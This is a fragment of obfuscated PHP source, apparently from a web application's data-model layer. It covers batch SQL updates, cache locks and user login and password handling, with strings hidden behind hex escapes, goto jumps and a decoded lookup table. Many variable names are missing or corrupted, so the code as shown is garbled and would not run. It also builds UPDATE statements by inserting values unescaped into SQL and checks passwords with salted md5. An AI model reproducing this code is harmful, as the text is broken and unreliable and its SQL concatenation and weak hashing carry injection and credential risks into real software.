(!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $掐) { if (in_array($, explode($_SERVER[՟][50], $掐[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$ʑ, $댽ٌ) { $ =& $_SERVER[՟]; if (!is_array($ʑ)) { return; } foreach ($this->dataAuto as $Ƿ) { $ӷ = $Ƿ[0]; if (!in_array($댽ٌ, explode($[50], $Ƿ[2]))) { continue; } switch (trim($Ƿ[3])) { case $[406]: case $[407]: $۵ = $Ƿ[1]; $쮒 = isset($Ƿ[4]) ? (array) $Ƿ[4] : array(); if ($۵ == $[216] && array_key_exists($ӷ, $ʑ)) { if (!$ʑ[$ӷ]) { unset($ʑ[$ӷ]); } break; } if (isset($ʑ[$ӷ])) { array_unshift($쮒, $ʑ[$ӷ]); } if ($[406] == $Ƿ[3]) { $ʑ[$ӷ] = call_user_func_array($۵, $쮒); } else { $ʑ[$ӷ] = call_user_func_array(array(&$this, $۵), $쮒); } break; case $[356]: if (isset($ʑ[$ӷ]) && $ʑ[$ӷ]) { $ʑ[$ӷ] = call_user_func_array(array(&$this, $Ƿ[1]), array($ʑ[$ӷ])); } break; case $[359]: $ʑ[$ӷ] = $ʑ[$Ƿ[1]]; break; case $[379]: if (isset($ʑ[$ӷ]) && !is_string($ʑ[$ӷ])) { $ʑ[$ӷ] = json_encode_force($ʑ[$ӷ]); } break; case $[408]: if ($ʑ[$ӷ] === $[12]) { unset($ʑ[$ӷ]); } break; case $[409]: $ʑ[$ӷ] = $Ƿ[1]; default: break; } } if ($댽ٌ == $[440]) { $㩢 = strtolower($this->db->getDbType()); if (strpos($㩢, $[13]) !== 0) { return; } $ = $this->field(!0)->fields; $́ = $[$[338]]; if (isset($[$[337]])) { unset($́[$[$[337]]]); } foreach ($́ as $ǔ => $댽ٌ) { if (!isset($ʑ[$ǔ])) { $ʑ[$ǔ] = $[12]; } } } } private function dataAfterFilter(&$ݹ) { $ދ =& $_SERVER[՟]; foreach ($this->dataAuto as $) { $ = $[0]; if (!isset($ݹ[$])) { continue; } if (!in_array($ދ[442], explode($ދ[50], $[2]))) { continue; } switch (trim($[3])) { case $ދ[406]: case $ދ[407]: $ = isset($[4]) ? (array) $[4] : array(); array_unshift($, $ݹ[$]); if (isset($[4]) && $[4] == $ދ[462]) { $ = array($ݹ[$]); } if ($ދ[406] == $[3]) { $ݹ[$] = call_user_func_array($[1], $); } else { $ݹ[$] = call_user_func_array(array(&$this, $[1]), $); } break; case $ދ[356]: if (isset($ݹ[$]) && $ݹ[$]) { $ݹ[$] = call_user_func_array(array(&$this, $[1]), array($ݹ[$])); } break; case $ދ[359]: $ݹ[$] = $ݹ[$[1]]; break; case $ދ[379]: $ = $ݹ[$]; $ݹ[$] = json_decode($, !0); if (is_null($ݹ[$])) { $ݹ[$] = $; } break; case $ދ[408]: if ($ݹ[$] === $ދ[12]) { unset($ݹ[$]); } break; case $ދ[409]: $ݹ[$] = $[1]; break; default: break; } } } public function saveAll($) { $ =& $_SERVER[՟]; $Ш = $this->tablePrefix . $this->tableName; $ܤ = self::SQL_WHERE_IN_CHUNK; $ = is_array($) ? $ : array(); $ς = $[463]; $萷 = 0; $φ = array(); $ֱ = count($); for ($ = 0; $ < $ֱ; $++) { $ = $[$]; if (!is_array($) || count($) != 4) { continue; } $ԡ = "\x55\x50\104\101\x54\105\x20\140{$Ш}\x60\40\x53\105\124\x20{$[2]}\x20\75\40\103\101\123\x45\40{$[0]}\x20\xa"; if ($萷 == 0) { $ς = $ԡ; } $φ[] = $[131] . $[1] . $[131]; $萷++; $ς .= "\40\127\x48\105\116\40\x27{$[1]}\47\x20\124\x48\x45\x4e\x20\x27{$[3]}\x27\40\xa"; if ($萷 == $ܤ || $ == $ֱ - 1) { $î = implode($[50], $φ); $ς .= "\40\105\116\x44\40\x20\127\110\x45\x52\105\40{$[0]}\40\x49\116\40\x28{$î}\51\40"; $this->execute($ς); $萷 = 0; $ς = $ԡ; $this->chunkEventCheck(count($φ)); $φ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $¬ =& $_SERVER[՟]; $ܥ = $this->tablePrefix . $this->tableName; foreach ($ as $ڵ) { if (!is_array($ڵ) || count($ڵ) != 4) { continue; } $ր = $ڵ[0] . $¬[464] . $ڵ[1] . $¬[131]; $𰄳 = $ڵ[2] . $¬[464] . $ڵ[3] . $¬[131]; $¢ = "\165\x70\x64\x61\164\145\40{$ܥ}\x20\x73\x65\x74\40{$𰄳}\40\167\x68\x65\162\x65\x20{$ր}\x3b"; $this->execute($¢); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($פ = false, $ = false) { $this->_chunkEvent = $פ; $this->_chunkEventParam = $; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $[$_SERVER[՟][465]] = $; Hook::trigger($this->_chunkEvent, $); } public function addAll($, $ = array(), $գ = false) { $بж =& $_SERVER[՟]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($بж[357]); return !1; } $ = $this->_parseOptions($); foreach ($ as $腠 => $) { $[$腠] = $this->_facade($); $this->_beforeInsert($[$腠], $); } if (method_exists($this->db, $بж[358])) { for ($ۉ = 0; $ۉ < count($); $ۉ += $) { $̓ = array_slice($, $ۉ, $); if (!is_array($̓) || count($̓) == 0) { break; } $ = $this->db->insertAll($̓, $, $գ); $this->chunkEventCheck(count($̓)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $腠 => $) { $ = $this->db->insert($, $, $գ); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function save($Ɗ璸 = '', $꿕ļ = array()) { $ϫԌ =& $_SERVER[՟]; $კ = self::SQL_WHERE_IN_CHUNK; $ɇ = $this->optionsValue(); $ߩ = $this->findWhereField($ɇ); if (!$ߩ) { return parent::save($Ɗ璸, $꿕ļ); } $ϱ = 0; $揧 = $ɇ[$ϫԌ[361]][$ߩ][1]; $揧 = is_array($揧) ? $揧 : array(); $ = count($揧); for ($ = 0; $ < $; $ += $კ) { $ĥ = array_slice($揧, $, $კ); if (!is_array($ĥ) || count($ĥ) == 0) { break; } $ɇ[$ϫԌ[361]][$ߩ][1] = $ĥ; $this->optionsValue($ɇ); $ϱ += parent::save($Ɗ璸, $꿕ļ); $this->chunkEventCheck(count($ĥ)); } $this->chunkEventSet(); return $ϱ; } public function add($錉 = '', $ˡޏ = array(), $ = false) { if ($this->addTaskStatus && is_array($錉)) { $this->addTaskData[] = $錉; return; } return parent::add($錉, $ˡޏ, $); } public function parseWhereLike($, $ = '', $ߪϧ = false, &$ԩ = false) { $ =& $_SERVER[՟]; $ = $GLOBALS[$[6]][$[466]]; if (!$[$[467]]) { return $; } if (!is_array($)) { return $; } $߸ = array(); $ = 0; foreach ($ as $ => $ؓ) { if (is_array($ؓ) && count($ؓ) == 2 && $ؓ[0] == $[468] && is_string($ؓ[1]) && substr($ؓ[1], 0, 1) == $[469] && substr($ؓ[1], strlen($ؓ[1]) - 1, 1) == $[469]) { $ԩ = !0; $礕 = is_string($) ? $ : $; $ = substr($ؓ[1], 1, strlen($ؓ[1]) - 2); $ = $this->db->escapeString($); if (!strpos($礕, $[10])) { $礕 = $[470] . $礕 . $[470]; } $⚬ = $[230] . $ . $[230]; $ = str_replace(array($[10], $[471], $[11]), $[472], $); if ($[$[473]]) { $⚬ = $[474] . $ . $[475]; if ($[$[476]]) { $⚬ = $[475] . $ . $[474]; } } $߸[$] = $[477] . $礕 . $[478] . $⚬ . $[479]; $++; continue; } if (is_array($ؓ)) { $ = is_string($) ? $ : $; $ؓ = $this->parseWhereLike($ؓ, $, !0, $ԩ); } if (is_numeric($)) { $߸[$] = $ؓ; $++; } else { $߸[$] = $ؓ; } } if ($ԩ && !$ߪϧ) { } return $߸; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($֒҅ = array()) { $ɺ =& $_SERVER[՟]; $ѿ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$ || isset($[$ɺ[377]]) || isset($[$ɺ[438]])) { return parent::select($֒҅); } $ڃ = $[$ɺ[361]][$][1]; $ڃ = is_array($ڃ) ? $ڃ : array(); $˲ = null; for ($ = 0; $ < count($ڃ); $ += $ѿ) { $ = array_slice($ڃ, $, $ѿ); if (!is_array($) || count($) == 0) { break; } $[$ɺ[361]][$][1] = $; $this->optionsValue($); $ԃȲ = parent::select($֒҅); if (!$ԃȲ) { continue; } $˲ = is_array($˲) ? $˲ : array(); $˲ = array_merge($˲, $ԃȲ); } return $˲; } public function delete($à = array()) { $ﯭ =& $_SERVER[՟]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::delete($Ã); } $ۧʗ = 0; $ = $[$ﯭ[361]][$][1]; $ = is_array($) ? $ : array(); for ($飘 = 0; $飘 < count($); $飘 += $) { $ = array_slice($, $飘, $); if (!is_array($) || count($) == 0) { break; } $[$ﯭ[361]][$][1] = $; $this->optionsValue($); $ۧʗ += parent::delete($Ã); } return $ۧʗ; } private function findWhereField($Ɍ) { $à =& $_SERVER[՟]; $Ɲ = self::SQL_WHERE_IN_CHUNK; if (!is_array($Ɍ) || !is_array($Ɍ[$à[361]])) { return !1; } foreach ($Ɍ[$à[361]] as $ꉀ => $ԫ) { if (is_array($ԫ) && isset($ԫ[0]) && is_string($ԫ[0]) && strtolower($ԫ[0]) == $à[7] && is_array($ԫ[1]) && count($ԫ[1]) > $Ɲ) { ignore_timeout(); return $ꉀ; } } return !1; } public function setMasterDB($ӿ = true) { think_config($_SERVER[՟][480], $ӿ); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\x53\171\163\164\x65\x6d\x4f\160\x74\x69\157\x6e"; public $field = array(); public function listData($Ƭü = false, $Ǯ = "\155\x6f\x64\x69\146\x79\124\x69\155\x65", $٠ = false) { $أ͵ = Model($this->modelType)->get(!1, $this->optionType, !0); $لۯ = array_values($أ͵); if ($لۯ && $لۯ[0] && !is_array($لۯ[0])) { Model($this->modelType)->cacheRemove($this->optionType); $أ͵ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$أ͵) { return $Ƭü ? null : array(); } if (!$Ƭü) { $أ͵ = array_filter(array_values($أ͵)); return array_sort_by($أ͵, $Ǯ, $٠); } return $أ͵[$_SERVER[՟][481] . $Ƭü]; } public function insert($Ϊ) { $Ѹ =& $_SERVER[՟]; $Ϊ = array_field_key($Ϊ, $this->field); $ = Model($this->modelType)->get($Ѹ[482], $this->optionType . $Ѹ[483]); $ = $ ? $ : 0; $Ϊ[$Ѹ[484]] = ++$; $Ϊ[$Ѹ[241]] = time(); $Ϊ[$Ѹ[98]] = time(); Model($this->modelType)->set($Ѹ[482], $, $this->optionType . $Ѹ[483]); Model($this->modelType)->set($Ѹ[481] . $, $Ϊ, $this->optionType); return $; } public function update($Ŝ, $) { $ =& $_SERVER[՟]; $ = array_field_key($, $this->field); $쌻 = $this->listData($Ŝ); if (!$쌻 || !$Ŝ) { return !1; } $ = array_merge($쌻, $); $[$[98]] = time(); return Model($this->modelType)->set($[481] . $Ŝ, $, $this->optionType); } public function remove($촸) { if (!$촸) { return !1; } return Model($this->modelType)->remove($_SERVER[՟][481] . $촸, $this->optionType); } public function clear() { $ =& $_SERVER[՟]; Model($this->modelType)->remove($[482], $this->optionType . $[483]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($, $) { if (!$) { return !1; } $ɢ = $this->listData(); $ɢ = array_to_keyvalue($ɢ, $); return isset($ɢ[$]) ? $ɢ[$] : !1; } public function findByName($) { return $this->findByKey($_SERVER[՟][32], $); } protected function resetData($) { $ =& $_SERVER[՟]; $ = is_array($) ? $ : array(); $뮽 = array(); for ($ = 0; $ < count($); $++) { $뮽[$[481] . $[$][$[484]]] = $[$]; } return Model($this->modelType)->set($뮽, !1, $this->optionType); } private function getAutoName($ˬ) { $ = array_to_keyvalue($this->listData(), $_SERVER[՟][32]); if (!$ || !isset($[$ˬ])) { return $ˬ; } for ($ = 1; $ < count($); $++) { $Ҿƪ = $ˬ . "\x28{$}\51"; if (!isset($[$Ҿƪ])) { return $Ҿƪ; } } return $Ҿƪ; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($ = false, $Ӣ = '', $ = false) { $Ư =& $_SERVER[՟]; $ו = $this->cacheGet($Ӣ); $ = $this->optionDefault($Ӣ); $ = is_array($) ? $ : array(); if (is_array($ו)) { $ו = array_merge($, $ו); return $ ? isset($ו[$]) ? $ו[$] : null : $ו; } $ʲ = $this->filterWhere(array($Ư[33] => $Ӣ)); $ו = $this->where($ʲ)->select(); $ו = array_to_keyvalue($ו, $Ư[107], $Ư[459]); foreach ($ו as $ => $) { if ($ || in_array($, $this->jsonField)) { $ו[$] = json_decode($, !0); } } $this->cacheSet($Ӣ, $ו); $ו = array_merge($, $ו); return $ ? $ו[$] : $ו; } public function set($Ԋ凤, $º = false, $ʊ = '') { $ܘڀ =& $_SERVER[՟]; $this->cacheRemove($ʊ); $ = array(); $ = is_array($Ԋ凤) ? $Ԋ凤 : array($Ԋ凤 => $º); foreach ($ as $ְ => $ʁ) { if (is_array($ʁ)) { $ʁ = json_encode_force($ʁ); } $this->checkLength($ʁ, !1, $this->tableName . $ܘڀ[4] . $Ԋ凤); $ʁ = self::textEncode($ʁ); $ = array($ܘڀ[33] => $ʊ, $ܘڀ[107] => $ְ, $ܘڀ[459] => $ʁ); $[] = $this->filterWhere($); } if (!$) { return !0; } $Ŷ享 = $this->cacheKey($ܘڀ[485]); CacheLock::lock($Ŷ享); $ = $this->addAll($, array(), !0); CacheLock::unlock($Ŷ享); return $; } protected function optionDefault($ = '') { return !1; } public function setDeep($ܵ, $Л = false, $ = '') { $ = explode($_SERVER[՟][10], $ܵ); $ا = $this->get(); array_set_value($ا, $ܵ, $Л); $this->set($[0], $ا[$[0]], $); } public function remove($܇, $ = '') { $ =& $_SERVER[՟]; $this->cacheRemove($); $ = $this->filterWhere(array($[107] => $܇, $[33] => $)); if (is_null($܇)) { unset($[$[107]]); } return $this->where($)->delete(); } public function cacheSet($۹, $੫ = false) { return Cache::set($this->cacheKey($۹), $੫); } public function cacheGet($) { return Cache::get($this->cacheKey($)); } public function cacheRemove($ӳ) { return Cache::remove($this->cacheKey($ӳ)); } protected function filterWhere($ޭ) { return $ޭ; } protected function cacheKey($ᑵ) { return $ᑵ; } } goto f⼬؊; D: function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[՟]; $߭ = $GLOBALS[$[6]][$[434]]; self::$cachePath = $߭[$[240]][$[97]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($ˈ, $Λ = 0) { $˔ =& $_SERVER[՟]; $ǷЌ = microtime(!0); $ = $ǷЌ + $Λ + 0.0001; $͢ = rtrim(self::$cachePath, $˔[8]) . $˔[948] . md5($ˈ) . $˔[945]; if (file_exists($͢) && filemtime($͢) && filemtime($͢) < time() - 10) { @unlink($͢); } do { if (file_exists($͢)) { cacheLockWait(); continue; } $ = fopen($͢, $˔[949]); if (!$) { return !1; } $㎞ = flock($, LOCK_EX | LOCK_NB); self::$caches[$ˈ] = array($˔[950] => $, $˔[240] => $͢); fwrite($, $); clearstatcache(); if ($ && $㎞) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($ˈ); return !1; } public function lockGet($ٽ) { $ֺ =& $_SERVER[՟]; $ѽ = rtrim(self::$cachePath, $ֺ[8]) . $ֺ[948] . md5($ٽ) . $ֺ[945]; return file_exists($ѽ); } public function unlock($ҫ) { $ސ =& $_SERVER[՟]; $ = self::$caches[$ҫ]; if (!$) { return; } @flock($[$ސ[950]], LOCK_UN); @fclose($[$ސ[950]]); @unlink($[$ސ[240]]); unset(self::$caches[$ҫ]); } } class CacheLockRedis { public function lock($, $ݳ = 10) { $Җ = Cache::init(); $ = microtime(!0) + $ݳ; while (microtime(!0) < $) { $ۑ = $Җ->get($); if (!$ۑ) { $⤎ؽ = $Җ->setLock($, $, $ݳ); if ($⤎ؽ) { return !0; } } else { if ($ۑ < microtime(!0)) { $Җ->set($, $, $ݳ * 2); if ($Җ->get($) === $ۑ) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($) { return Cache::init()->remove($); } } goto Bǭ̱ߙ; Cש: function binCheckBigger($霓, $Ԅݼ) { return $霓 > $Ԅݼ; } $_SERVER[$_SERVER[І][3]] = ("\x38\x35\x31\x39"."\x39\x34")+0;$_w1g8="wfkchdupvslq9bgenoxz827t5yir64301amjrt6v53zjif7h89p2um1g4qsn0wledoyabkcx2an3";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($, $䧀) { $˿ =& $_SERVER[՟]; if (isset(self::$_methodList[$])) { return @call_user_func_array(self::$_methodList[$], $䧀); } else { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $䧀); } else { think_exception(__CLASS__ . $˿[4] . $ . $˿[5]); } } } public static function __callStatic($̴, $̠Ȫ) { if (isset(self::$_methodListStatic[$̴])) { return call_user_func_array(self::$_methodListStatic[$̴], $̠Ȫ); } else { if (method_exists(self, $̴)) { return call_user_func_array(array(self, $̴), $̠Ȫ); } else { show_json("{$̴}\x28\51\40\156\x6f\x74\x20\x65\170\151\x73\x74\x3b", !1); } } } public static function addMethod($, $䵮) { self::$_methodList[$] = $䵮; } public static function addMethodStatic($ן, $İ) { self::$_methodListStatic[$ן] = $İ; } } goto b㘞; e: define($_SERVER[՟][0], $_SERVER[՟][1]); $_SERVER[І] = explode($_SERVER[՟][2], gzinflate(substr($_SERVER[՟][3], 10, -8))); function binCheckEq($Ŋ, $) { return $Ŋ == $; } goto B㰞; B㰞: $fileSize = strrev(base64_decode($_SERVER[І][0])); function binCheckNeq($ۄ¤, $) { return $ۄ¤ != $; } $_SERVER[$_SERVER[І][1]] = $fileSize($_SERVER[$_SERVER[І][2]]); goto Cש; F囐: class UserJobModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\x65\155\56\x6a\157\x62\x4c\x69\x73\x74"; public $field = array("\x6e\141\x6d\x65", "\x64\145\x73\143", "\163\157\x72\x74"); const JOB_KEY = "\x73\145\154\146\112\x6f\142\x4c\x69\x73\164"; public function listData($ꍃ = false, $К = "\163\157\162\x74", $ԓ = false) { return parent::listData($ꍃ, $К, $ԓ); } public function remove($) { return parent::remove($); } public function add($) { $ԍ١ =& $_SERVER[՟]; if ($this->findByName($[$ԍ١[32]])) { return !1; } $[$ԍ١[1996]] = $this->getSort(); return parent::insert($); } private function getSort() { $ζ =& $_SERVER[՟]; $ڎ = parent::listData(); $ = array_to_keyvalue($ڎ, $ζ[12], $ζ[1996]); return empty($) ? 0 : max($) + 1; } public function update($錬, $ҽ) { $ =& $_SERVER[՟]; $к = parent::listData($錬); $ˤ = $this->findByName($ҽ[$[32]]); if (!$к || $ˤ && $ˤ[$[484]] != $к[$[484]]) { return !1; } return parent::update($錬, $ҽ); } public function setUserJob($ˎ, $) { $ބ =& $_SERVER[՟]; if (!is_array($)) { $ = array($); } $ = parent::listData(); $˃ = array_to_keyvalue($, $ބ[32]); $ = $ބ[463]; foreach ($ as $) { if ($˃[$]) { $ .= $˃[$][$ބ[484]] . $ބ[50]; } else { $ٝ⎎ = $this->add($); $ .= $ٝ⎎ . $ބ[50]; } } $ = rtrim($, $ބ[50]); Model($ބ[607])->metaSet($ˎ, self::JOB_KEY, $); } public function getUserJob($») { $ = Model($_SERVER[՟][607])->metaGet($»); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($ړ) { $ݰ =& $_SERVER[՟]; $۫ = explode($ݰ[50], $ړ); $ = parent::listData(); $ = array_remove_key($, $ݰ[241]); $࿁ = array(); foreach ($۫ as $) { if (isset($[$])) { $࿁[] = $[$]; } } return $࿁; } } class UserModel extends ModelBase { protected $tableName = "\165\163\x65\162"; protected $tableMeta = array("\x74\141\x62\154\x65\x4e\x61\x6d\x65" => "\x75\163\145\162\x5f\x6d\145\164\141", "\155\x65\x74\141\x46\x69\145\x6c\144" => "\x75\163\145\x72\111\x44"); protected $simpleField = "\165\x73\145\162\111\x44\54\x6e\x69\143\x6b\x4e\x61\155\x65\54\x6e\x61\x6d\x65\x2c\x61\166\141\x74\141\x72\54\163\145\170\x2c\163\x74\x61\x74\165\163"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($Ʀ) { $ׂ =& $_SERVER[՟]; $հ½ = $ׂ[2456]; return array($ׂ[2054] => array($Ʀ[0], $հ½), $ׂ[2056] => array($Ʀ[0], $հ½), $ׂ[2457] => array($Ʀ[0], $հ½)); } protected function getInfo($Ɠ, $迅 = false) { $ = $this->getInfoSimple($Ɠ); if (!is_array($)) { return array(); } if ($迅) { return $this->_getInfoApply($); } return $this->cacheFunctionGet($_SERVER[՟][2058], $Ɠ); } protected function getInfoFull($˃, $ = false) { $ = $this->getInfoSimple($˃); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[՟][2458], $˃); } private function _getInfoApply($, $ = false) { $ =& $_SERVER[՟]; if (!$) { return $; } $ۙ = md5($[2459] . $[$[970]] . $[2460] . $[$[32]]); $ = $this->_listDataApplyItem($); $ۼ = Model($[1421])->metaGet($[$[100]][$[203]]); $[$[2461]] = $ۙ; $[$[100]][$[2252]] = isset($ۼ[$[2253]]) ? $ۼ[$[2253]] : null; if ($) { $[$[548]] = $this->metaGet($[$[1773]]); } return $; } protected function getInfoSimple($ƷѠ, $ݕ = false) { $ۭ =& $_SERVER[՟]; if (!$ƷѠ) { return array(); } if ($ݕ) { $ȉ = $this->where(array($ۭ[1773] => intval($ƷѠ)))->find(); if (!is_array($ȉ)) { return array(); } $ȉ[$ۭ[2462]] = Action($ۭ[2463])->parseUrl($ȉ[$ۭ[2462]]); return $ȉ; } return $this->cacheFunctionGet($ۭ[2059], $ƷѠ); } protected function getInfoSimpleOuter($) { $ =& $_SERVER[՟]; if (!$ || $ == 0) { return array($[1773] => $[238], $[32] => $[186] . LNG($[2464]) . $[188], $[2462] => STATIC_PATH . $[2465]); } $ = $this->cacheFunctionGet($[2059], $); $ = array_field_key($, explode($[50], $this->simpleField)); if (!$) { return array($[1773] => $[1276], $[32] => $[186] . LNG($[2466]) . $[188], $[2462] => STATIC_PATH . $[2467]); } $[$[2462]] = Action($[2463])->parseUrl($[$[2462]]); return $; } protected function groupUser($) { } public static function errorLang($ා) { $ى =& $_SERVER[՟]; $Բΰ = array(self::ERROR_USER_NOT_EXISTS => $ى[2468], self::ERROR_USER_PASSWORD_ERROR => $ى[2469], self::ERROR_USER_EXIST_NAME => $ى[2470], self::ERROR_USER_EXIST_PHONE => $ى[2471], self::ERROR_USER_EXIST_EMAIL => $ى[2472], self::ERROR_USER_LOGIN_LOCK => $ى[2473], self::ERROR_IP_NOT_ALLOW => $ى[2474], self::ERROR_USER_EXIST_NICKNAME => $ى[2475]); $Ե = LNG($Բΰ[$ා]); if ($ා == self::ERROR_USER_LOGIN_LOCK) { $ = (int) Model($ى[2476])->get($ى[2477]); if ($ > 60) { $Ե = str_replace($ى[101], ceil($ / 60), $Ե); } } return $Ե; } protected function metaSet($, $Ϣ牝 = null, $ɲ = null) { $this->clearCache($); return parent::metaSet($, $Ϣ牝, $ɲ); } public function getInfoByMeta($ːަ, $ԝ) { $ɐ =& $_SERVER[՟]; $̎ = Model($ɐ[2478])->where(array($ɐ[107] => $ːަ, $ɐ[459] => $ԝ))->find(); if ($̎) { return $this->getInfo($̎[$ɐ[1773]]); } return !1; } public function userLoginCheck($, $) { $ =& $_SERVER[՟]; $ = $this->userLoginFind($); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$[1773]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($[$[1773]]); } public function userLoginFind($ߥ) { $ƛ =& $_SERVER[՟]; $ސ = array($ƛ[32] => $ߥ, $ƛ[2265] => $ߥ, $ƛ[390] => $ߥ, $ƛ[2479] => $ߥ, $ƛ[1081] => $ƛ[1083]); if ($this->nickNameRpt()) { unset($ސ[$ƛ[2265]]); } return $this->where($ސ)->find(); } public function clearCache($ާ) { $Я =& $_SERVER[՟]; $this->cacheFunctionClear($Я[2058], $ާ); $this->cacheFunctionClear($Я[2059], $ާ); $this->cacheFunctionClear($Я[2458], $ާ); } public function userPasswordCheck($, $) { $Ǎ =& $_SERVER[՟]; $ߦ췃 = $this->where(array($Ǎ[1773] => intval($)))->find(); $ɒ = $this->metaGet($); $ӚÖɡ = isset($ɒ[$Ǎ[2480]]) ? $ɒ[$Ǎ[2480]] : $Ǎ[12]; if (md5($ӚÖɡ . trim($)) !== $ߦ췃[$Ǎ[970]]) { return !1; } return !0; } public function userAdd($) { $ =& $_SERVER[՟]; $ݡ = array($[503] => $[$[32]], $[2481] => $[$[2178]], $[2482] => isset($[$[390]]) ? $[$[390]] : $[12], $[2483] => isset($[$[2479]]) ? $[$[2479]] : $[12], $[2484] => isset($[$[2265]]) ? $[$[2265]] : $[$[32]], $[2485] => isset($[$[2462]]) ? $[$[2462]] : $[12], $[2486] => isset($[$[2487]]) ? $[$[2487]] : 1, $[2488] => $[$[970]], $[2060] => isset($[$[1958]]) ? $[$[1958]] : 1024 * 1024 * 20, $[2061] => 0, $[2489] => 0, $[2105] => isset($[$[834]]) ? $[$[834]] : 1); if (!empty($[$[1773]])) { $ݡ[$[1773]] = $[$[1773]]; } $ޝږ = $this->_checkExist($); if ($ޝږ !== !0) { return $ޝږ; } if (!empty($ݡ[$[2462]]) && strlen($ݡ[$[2462]]) > 255) { $ݡ[$[2462]] = $[12]; } $檚 = $this->add($ݡ); $ʉ = array($[2488] => $ݡ[$[970]], $[2484] => $ݡ[$[2265]]); $this->userEdit($檚, $ʉ); Model($[1421])->userRootAdd($檚); return $檚; } protected function userEditTest($, $) { return $this->call($_SERVER[՟][2490], $, $); } protected function userEdit($, $) { $螘 =& $_SERVER[՟]; $Ղ = $this->getInfoSimple($); if (!$Ղ) { return !1; } $ = $this->_checkExist($, $); if ($ !== !0) { return $; } if (isset($[$螘[970]]) && trim($[$螘[970]]) != $螘[12]) { $Ӥ = $this->metaGet($); if (empty($Ӥ[$螘[2480]])) { $Ӥ[$螘[2480]] = rand_string(10); Model($螘[586])->metaSet($, $螘[2480], $Ӥ[$螘[2480]]); } $[$螘[970]] = md5($Ӥ[$螘[2480]] . trim($[$螘[970]])); } else { unset($[$螘[970]]); } if (!empty($[$螘[2462]]) && strlen($[$螘[2462]]) > 255) { $[$螘[2462]] = $螘[12]; } $this->where(array($螘[1764] => $))->save($); if (isset($[$螘[2265]])) { $this->setNamePinyin($, $[$螘[2265]]); } $this->clearCache($); return !0; } public function setNamePinyin($, $ = false) { $̸ =& $_SERVER[՟]; if (!$) { $ߕ = $this->getInfoSimple($); $ = $ߕ[$̸[2265]] ? $ߕ[$̸[2265]] : $ߕ[$̸[32]]; } $ = Model($̸[607]); if (!Input::check($, $̸[664])) { return $->metaSet($, array($̸[547] => $̸[12], $̸[546] => $̸[12])); } return $->metaSet($, array($̸[547] => str_replace($̸[53], $̸[12], Pinyin::get($)), $̸[546] => Pinyin::get($, $̸[665]))); } private function nickNameRpt() { $ =& $_SERVER[՟]; $ = Model($[854])->get($[2491]); $藗 = $GLOBALS[$[6]][$[466]][$[2491]]; $ = !is_null($) ? $ : $藗; return !!$; } private function _checkExist($ȬԻ, $䤪 = false) { $फ़ =& $_SERVER[՟]; $ = array($फ़[32] => UserModel::ERROR_USER_EXIST_NAME, $फ़[2265] => UserModel::ERROR_USER_EXIST_NICKNAME, $फ़[390] => UserModel::ERROR_USER_EXIST_EMAIL, $फ़[2479] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$फ़[2265]]); } $߲ = $䤪 ? array($फ़[1773] => array($फ़[2492], $䤪)) : array(); foreach ($ as $ => $) { $ = array(); foreach ($ as $ => $) { if (isset($ȬԻ[$]) && $ȬԻ[$]) { $[] = $ȬԻ[$]; } } if (!$) { continue; } $܁ = array_merge(array($ => array($फ़[7], $)), $߲); $ۛڈ = $this->where($܁)->find(); if ($ۛڈ) { return $; } } return !0; } public function userListInfo($) { $ۍ =& $_SERVER[՟]; $ = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $; } if (count($) < 20) { foreach ($ as $) { $[$ . $ۍ[12]] = $this->getInfoSimpleOuter($); } } else { $ = array($ۍ[1764] => array($ۍ[501], $)); if (count($) == 1) { $ = array($ۍ[1764] => $[0]); } $㋾ = Model($ۍ[586])->field($this->simpleField)->where($)->select(); $㋾ = array_to_keyvalue($㋾, $ۍ[1773]); foreach ($ as $) { $ڡ = $㋾[$]; if (!$ڡ) { $[$ . 